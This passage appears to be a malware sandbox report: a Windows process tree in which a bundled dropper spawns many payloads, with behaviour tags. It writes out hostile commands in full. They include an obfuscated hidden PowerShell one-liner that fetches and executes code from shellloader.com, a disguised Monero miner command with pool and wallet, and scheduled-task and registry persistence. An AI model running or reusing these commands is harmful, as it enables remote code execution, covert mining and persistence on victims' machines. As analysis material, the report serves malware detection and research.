- Suspicious use of WriteProcessMemory
PID:872

C:\Users\Admin\AppData\Local\Temp\7zS82069A74\Fri1544861ac3fe6a.exe
Fri1544861ac3fe6a.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 764
6⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 816
6⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 780
6⤵
- Program crash
PID:5488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 828
6⤵
- Program crash
PID:5692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 964
6⤵
- Program crash
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1004
6⤵
- Program crash
PID:5312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1052
6⤵
- Program crash
PID:1664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1352
6⤵
- Program crash
PID:6136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1580
6⤵
- Program crash
PID:5440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1388
6⤵
- Program crash
PID:6892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1392
6⤵
- Program crash
PID:5796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1420
6⤵
- Program crash
PID:5960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1388
6⤵
- Program crash
PID:2176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1596
6⤵
- Program crash
PID:6780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 1320
6⤵
- Program crash
PID:4280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 904
6⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:7492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri156ec98815f89c.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4688

C:\Users\Admin\AppData\Local\Temp\7zS82069A74\Fri156ec98815f89c.exe
Fri156ec98815f89c.exe
5⤵
- Executes dropped EXE
PID:1396

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri155442fc38b.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:5024

C:\Users\Admin\AppData\Local\Temp\7zS82069A74\Fri155442fc38b.exe
Fri155442fc38b.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1832

C:\Users\Admin\AppData\Roaming\1599265.exe
"C:\Users\Admin\AppData\Roaming\1599265.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3752

C:\Users\Admin\AppData\Roaming\7732440.exe
"C:\Users\Admin\AppData\Roaming\7732440.exe"
6⤵
PID:5012

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
7⤵
- Executes dropped EXE
PID:4932

C:\Users\Admin\AppData\Roaming\7008383.exe
"C:\Users\Admin\AppData\Roaming\7008383.exe"
6⤵
- Executes dropped EXE
PID:4072

C:\Users\Admin\AppData\Roaming\3615448.exe
"C:\Users\Admin\AppData\Roaming\3615448.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2280

C:\Users\Admin\AppData\Roaming\3335890.exe
"C:\Users\Admin\AppData\Roaming\3335890.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15af75ee9b.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:920

C:\Users\Admin\AppData\Local\Temp\7zS82069A74\Fri15af75ee9b.exe
Fri15af75ee9b.exe
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2128

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri157e25afd971.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:5028

C:\Users\Admin\AppData\Local\Temp\7zS82069A74\Fri157e25afd971.exe
Fri157e25afd971.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1632

C:\Users\Admin\AppData\Local\Temp\is-DJ3L4.tmp\Fri157e25afd971.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DJ3L4.tmp\Fri157e25afd971.tmp" /SL5="$801CC,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS82069A74\Fri157e25afd971.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
PID:2688

C:\Users\Admin\AppData\Local\Temp\is-DBALB.tmp\zab2our.exe
"C:\Users\Admin\AppData\Local\Temp\is-DBALB.tmp\zab2our.exe" /S /UID=burnerch2
7⤵
PID:3760

C:\Program Files\Microsoft Office\BNYVIPAOHP\ultramediaburner.exe
"C:\Program Files\Microsoft Office\BNYVIPAOHP\ultramediaburner.exe" /VERYSILENT
8⤵
- Executes dropped EXE
PID:6012

C:\Users\Admin\AppData\Local\Temp\is-OD148.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-OD148.tmp\ultramediaburner.tmp" /SL5="$20198,281924,62464,C:\Program Files\Microsoft Office\BNYVIPAOHP\ultramediaburner.exe" /VERYSILENT
9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:5288

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
10⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:5012

C:\Users\Admin\AppData\Local\Temp\86-18275-4e4-7cb98-c1a0be8bc97fa\Qadyzhahitae.exe
"C:\Users\Admin\AppData\Local\Temp\86-18275-4e4-7cb98-c1a0be8bc97fa\Qadyzhahitae.exe"
8⤵
- Executes dropped EXE
- Checks computer location settings
PID:6140

C:\Users\Admin\AppData\Local\Temp\15-4f857-a2b-bfe85-cac05fe0ca304\Naecatumaehy.exe
"C:\Users\Admin\AppData\Local\Temp\15-4f857-a2b-bfe85-cac05fe0ca304\Naecatumaehy.exe"
8⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:348

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\svwkewri.mi3\GcleanerEU.exe /eufive & exit
9⤵
PID:6340

C:\Users\Admin\AppData\Local\Temp\svwkewri.mi3\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\svwkewri.mi3\GcleanerEU.exe /eufive
10⤵
- Executes dropped EXE
PID:7152

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\svwkewri.mi3\GcleanerEU.exe" & exit
11⤵
PID:8004

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "GcleanerEU.exe" /f
12⤵
- Kills process with taskkill
PID:7212

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3n3xdvsi.xyv\installer.exe /qn CAMPAIGN="654" & exit
9⤵
PID:6632

C:\Users\Admin\AppData\Local\Temp\3n3xdvsi.xyv\installer.exe
C:\Users\Admin\AppData\Local\Temp\3n3xdvsi.xyv\installer.exe /qn CAMPAIGN="654"
10⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3760

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\3n3xdvsi.xyv\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\3n3xdvsi.xyv\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630560053 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
11⤵
PID:7520

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pivq1dhf.1l3\anyname.exe & exit
9⤵
PID:7028

C:\Users\Admin\AppData\Local\Temp\pivq1dhf.1l3\anyname.exe
C:\Users\Admin\AppData\Local\Temp\pivq1dhf.1l3\anyname.exe
10⤵
PID:5128

C:\Users\Admin\AppData\Local\Temp\pivq1dhf.1l3\anyname.exe
"C:\Users\Admin\AppData\Local\Temp\pivq1dhf.1l3\anyname.exe" -u
11⤵
- Executes dropped EXE
PID:4436

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
12⤵
PID:5060

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u2pbxsoe.di5\gcleaner.exe /mixfive & exit
9⤵
PID:5476

C:\Users\Admin\AppData\Local\Temp\u2pbxsoe.di5\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\u2pbxsoe.di5\gcleaner.exe /mixfive
10⤵
- Executes dropped EXE
PID:7016

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\u2pbxsoe.di5\gcleaner.exe" & exit
11⤵
PID:7704

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "gcleaner.exe" /f
12⤵
- Kills process with taskkill
PID:7796

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vemglxv4.zrr\autosubplayer.exe /S & exit
9⤵
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
PID:4908

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c APPNAME7.exe
4⤵
PID:352

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1553f0ee90.exe
4⤵
PID:1056

C:\Users\Admin\AppData\Local\Temp\7zS82069A74\Fri1553f0ee90.exe
Fri1553f0ee90.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3180

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
7⤵
- Executes dropped EXE
PID:5000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
8⤵
PID:2284

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
9⤵
- Creates scheduled task(s)
PID:5060

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6056

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:7664

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:7672

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
9⤵
- Executes dropped EXE
PID:7040

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
9⤵
PID:2520

C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4460

C:\Users\Admin\AppData\Roaming\5072515.exe
"C:\Users\Admin\AppData\Roaming\5072515.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2756

C:\Users\Admin\AppData\Roaming\7176271.exe
"C:\Users\Admin\AppData\Roaming\7176271.exe"
8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5568

C:\Users\Admin\AppData\Roaming\3266848.exe
"C:\Users\Admin\AppData\Roaming\3266848.exe"
8⤵
- Executes dropped EXE
PID:4340

C:\Users\Admin\AppData\Roaming\8449239.exe
"C:\Users\Admin\AppData\Roaming\8449239.exe"
8⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:1352

C:\Users\Admin\AppData\Roaming\3808500.exe
"C:\Users\Admin\AppData\Roaming\3808500.exe"
8⤵
- Executes dropped EXE
PID:5820

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4888

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4888 -s 1564
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5020

C:\Users\Admin\AppData\Local\Temp\Pubdate.exe
"C:\Users\Admin\AppData\Local\Temp\Pubdate.exe"
7⤵
- Executes dropped EXE
PID:400

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 804
8⤵
- Program crash
PID:5156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 832
8⤵
- Program crash
PID:5720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 856
8⤵
- Program crash
PID:6116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 892
8⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 992
8⤵
- Program crash
PID:5796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 1196
8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:6128

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe"
7⤵
- Executes dropped EXE
PID:2264

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
8⤵
- Executes dropped EXE
PID:5280

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
7⤵
- Executes dropped EXE
PID:4668

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
- Executes dropped EXE
PID:1036

C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2160

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3916

C:\Users\Admin\AppData\Local\Temp\is-V7O34.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-V7O34.tmp\setup_2.tmp" /SL5="$10242,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
1⤵
PID:5020

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
2⤵
- Executes dropped EXE
PID:3636

C:\Users\Admin\AppData\Local\Temp\is-JN217.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-JN217.tmp\setup_2.tmp" /SL5="$40272,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
3⤵
PID:5012

C:\Users\Admin\AppData\Local\Temp\is-3N6DL.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-3N6DL.tmp\postback.exe" ss1
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5552

C:\Windows\SysWOW64\explorer.exe
explorer.exe ss1
5⤵
PID:5548

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
6⤵
PID:6184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
7⤵
- Blocklisted process makes network request
PID:6596

C:\Users\Admin\AppData\Local\Temp\K53z2O0aa.exe
"C:\Users\Admin\AppData\Local\Temp\K53z2O0aa.exe"
6⤵
- Executes dropped EXE
PID:4920

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
"C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
7⤵
- Executes dropped EXE
PID:7164

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
8⤵
PID:6780

C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
9⤵
PID:6444

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
8⤵
- Creates scheduled task(s)
PID:4608

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Executes dropped EXE
PID:5128

C:\Users\Admin\AppData\Local\Temp\EsWdMD6En.exe
"C:\Users\Admin\AppData\Local\Temp\EsWdMD6En.exe"
6⤵
- Executes dropped EXE
PID:7248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5548 -s 1652
6⤵
- Program crash
PID:1016

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1264

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2316

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4616

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:5140

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6708

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:6816

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:6868

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:6384

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 6123C290D672EE5B74538F4BDC627F28 C
2⤵
- Loads dropped DLL
PID:5420

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 932992A5A8E2CC33B6768EAF73747687
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:7900

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:8132

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 9A74F60D0D0F75FA6EEE3DC3183D0B75 E Global\MSI0000
2⤵
- Loads dropped DLL
PID:5108

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
PID:6888

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7892

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:7908

C:\Users\Admin\AppData\Local\Temp\4041.exe
C:\Users\Admin\AppData\Local\Temp\4041.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7328

C:\Users\Admin\AppData\Local\Temp\4041.exe
C:\Users\Admin\AppData\Local\Temp\4041.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5212

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:3128

C:\Users\Admin\AppData\Local\Temp\4041.exe
"C:\Users\Admin\AppData\Local\Temp\4041.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2728

C:\Users\Admin\AppData\Local\Temp\4041.exe
"C:\Users\Admin\AppData\Local\Temp\4041.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Modifies extensions of user files
PID:7656

C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build2.exe
"C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7088

C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build2.exe
"C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build2.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:6424

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build2.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:6588

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:3004

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:5204

C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build3.exe
"C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build3.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7600

C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build3.exe
"C:\Users\Admin\AppData\Local\05e64923-09d0-4be6-86f3-9c8d1eefb797\build3.exe"
6⤵
- Executes dropped EXE
PID:5128

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:7200

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6428

C:\Users\Admin\AppData\Local\Temp\90E3.exe
C:\Users\Admin\AppData\Local\Temp\90E3.exe
1⤵
- Executes dropped EXE
PID:6180

C:\Users\Admin\AppData\Local\Temp\BA84.exe
C:\Users\Admin\AppData\Local\Temp\BA84.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7360

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
1⤵
PID:5876

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions
2⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
PID:6212

